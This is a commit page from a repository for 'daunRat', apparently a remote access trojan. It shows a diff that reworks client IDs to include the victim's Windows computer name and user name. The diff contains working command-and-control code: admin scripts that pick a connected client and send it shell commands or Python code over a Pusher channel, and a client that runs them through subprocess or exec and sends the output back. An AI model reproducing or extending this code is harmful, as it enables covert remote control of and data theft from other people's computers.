apps/daunRat
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

reworked ids system

Browse Source
This commit is contained in:
BarsTiger
2022-05-18 21:17:33 +03:00
parent 6c5aedfde2
commit 58dc8e1a5b
6 changed files with 28 additions and 25 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
admin/admin_simulator/connect.py
View File

@@ -18,9 +18,9 @@ def handle_connection_to_server(connection):
print("Connected to server")
print("Server returned: " + str(connection))
print("Available client IDs: " +
str(list(client.channels_info(prefix_filter='admin-')['channels']))
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
client_id = int(input("Enter id to connect: "))
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
list(client.channels_info(prefix_filter='admin-')['channels']))))))
client_id = input("Enter id to connect: ")
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
print("Sent connection message to client")

6
admin/admin_simulator/receive_logs.py
View File

@@ -22,9 +22,9 @@ def handle_connection_to_server(connection):
print("Connected to server")
print("Server returned: " + str(connection))
print("Available client IDs: " +
str(list(client.channels_info(prefix_filter='admin-')['channels']))
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
client_id = int(input("Enter id to connect: "))
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
list(client.channels_info(prefix_filter='admin-')['channels']))))))
client_id = input("Enter id to connect: ")
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
print("Sent connection message to client")
log_channel = receiver.subscribe('client-' + str(client_id))

13
admin/admin_simulator/send_command.py
View File

@@ -3,7 +3,6 @@ import pusher
import pysher
import sys
client = pusher.Pusher(
app_id=app_id,
key=key,
@@ -17,14 +16,16 @@ receiver = pysher.Pusher(key=key, cluster=cluster)
def handle_connection_to_server(connection):
print("Connected to server")
print("Server returned: " + str(connection))
ids = dict()
print("Available client IDs: " +
str(list(client.channels_info(prefix_filter='admin-')['channels']))
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
client_id = int(input("Enter id to connect: "))
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
list(client.channels_info(prefix_filter='admin-')['channels']))))))
client_id = input("Enter id to connect: ")
client.trigger('admin-' + client_id, 'connection_from_admin', None)
print("Sent connection message to client")
while True:
client.trigger('admin-' + str(client_id), 'command', input("Enter shell command: "))
client.trigger('admin-' + client_id, 'command', input("Enter shell command: "))
print("Sent shell command to client")

6
admin/admin_simulator/send_python.py
View File

@@ -18,9 +18,9 @@ def handle_connection_to_server(connection):
print("Connected to server")
print("Server returned: " + str(connection))
print("Available client IDs: " +
str(list(client.channels_info(prefix_filter='admin-')['channels']))
.replace('admin-', '').replace('[', '').replace(']', '').replace("'", ''))
client_id = int(input("Enter id to connect: "))
str(', '.join(list(map(lambda channel_id: channel_id.split('-')[-1],
list(client.channels_info(prefix_filter='admin-')['channels']))))))
client_id = input("Enter id to connect: ")
client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
print("Sent connection message to client")
while True:

2
admin/daunRat_admin.py
View File

@@ -115,7 +115,7 @@ def handle_connection_to_server(connection) -> None:
print("Connected to server")
print("Server returned: " + str(connection))
for client_id_av in list(client.channels_info(prefix_filter='admin-')['channels']):
print("Channel: " + client_id_av)
print("Channel: " + client_id_av.split('-')[1])
# Trying to connect to pusher

20
client/daunRat.py
View File

@@ -5,11 +5,12 @@ import io
from contextlib import redirect_stdout
import subprocess
import sys
import os
sys.path.append('daun/modules')
import daun.modules as daun # needed to use daun functionality from admin
from modules.selfutil import daunrat # needed to use self utility functions
client_id = int()
client_id = str()
client = pusher.Pusher(
app_id=app_id,
@@ -29,8 +30,8 @@ def on_command(data):
close_fds=True, text=True).communicate()
except Exception as e:
shell_logs = str(e)
client.trigger('client-' + str(client_id), 'logs', shell_logs)
print("Shell logs sent on client-" + str(client_id))
client.trigger('client-' + client_id, 'logs', shell_logs)
print("Shell logs sent on client-" + client_id)
print("Shell logs: " + shell_logs)
@@ -44,14 +45,14 @@ def on_python(data):
except Exception as e:
print(e)
python_logs = f.getvalue().strip()
client.trigger('client-' + str(client_id), 'logs', python_logs)
print("Python logs sent on client-" + str(client_id))
client.trigger('client-' + client_id, 'logs', python_logs)
print("Python logs sent on client-" + client_id)
print(python_logs)
def ping(data):
print("Triggered ping")
client.trigger('client-' + str(client_id), 'ping', 'pong')
client.trigger('client-' + client_id, 'ping', 'pong')
def handle_connection_to_server(connection):
@@ -59,10 +60,11 @@ def handle_connection_to_server(connection):
print("Connected to server")
print("Server returned: " + str(connection))
try:
client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1]) + 1)
client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1]
.split('@')[0]) + 1) + f'@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'
except IndexError:
client_id = '0'
channel = receiver.subscribe('admin-' + client_id)
client_id = f'0@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'
channel = receiver.subscribe(f'admin-{client_id}')
print("Client id: " + client_id)
channel.bind('connection_from_admin', lambda _: print("Connection from admin"))
channel.bind('ping', ping)